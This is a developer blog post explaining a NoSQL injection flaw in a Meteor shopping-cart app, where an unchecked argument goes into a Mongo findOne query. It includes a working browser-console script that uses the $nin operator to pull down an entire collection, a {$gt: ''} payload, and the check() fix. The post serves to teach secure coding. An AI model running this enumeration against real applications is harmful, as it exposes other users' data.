Written by Pete Corey on Jul 21, 2015.

After watching Rob Conery’s awesome series of screencasts detailing how to build an eCommerce application using Meteor, I was excited to dig into his code. Along with finding a few other security vulnerabilities, I had fun playing with an interesting way of exploiting a findOne query to aggregate data from a Mongo collection.

To get started, take a look at this getCart method defined in shopping_cart.js:30-32:

getCart : function(userKey){
  return Carts.getCart(userKey);
}

And the corresponding Carts.getCart method in carts.js:

Carts.getCart = function(userKey){
  var cart = Carts.findOne({userKey : userKey});
  ...
  return cart;
};

The first thing you’ll notice (I hope) is that the userKey argument isn’t being checked. Your horror may be tempered, though, when you notice that it’s being passed into a findOne query instead of a find.

What’s the worst thing a hacker could do? Sure, they might get a single random Cart by passing in a query like {$gt: ''}, but it’s not like they can get at our whole collection, right?

… Right?!


Well, it turns out you can easily pull down all data from a collection using a findOne query. Take a look at some code a malicious user could run in their browser’s console to do just that:

var carts = [];
function getCartAndSave(userKeys) {
    Meteor.call('getCart', {$nin: userKeys}, function(e, r) {
        if (e || !r || !r._id) {
            return;
        }
        carts.push(r);
        userKeys.push(r.userKey);
        getCartAndSave(userKeys);
    });
}
getCartAndSave(['']);

And just like that, the entire carts collection has been pulled down to the client. Let’s dig into the code to see what’s going on.

The key here is the $nin query operator. We begin by calling getCart and asking for a Cart who’s userKey is not in ($nin) the array ['']. This will return a random Cart. We push this cart’s userKey onto the array and ask for a Cart who’s userKey is not in that array. This will return another random Cart from the collection that we haven’t yet seen. We repeat this process until there are no more Carts to find, and we’ve aggregated all of the Carts on the client.

Now Mr. Malicious User can take his time perusing your potentially sensitive data.


Like most Meteor security issues, the fix for this is to check your user-provided arguments:

getCart : function(userKey){
  check(userKey, String);
  return Carts.getCart(userKey);
}

Now, a malicious user can’t pass an object into the getCart method. They may only pass a String, and will only be able to find a Cart if they know its userKey.

Never allow users to pass arbitrary data into your queries!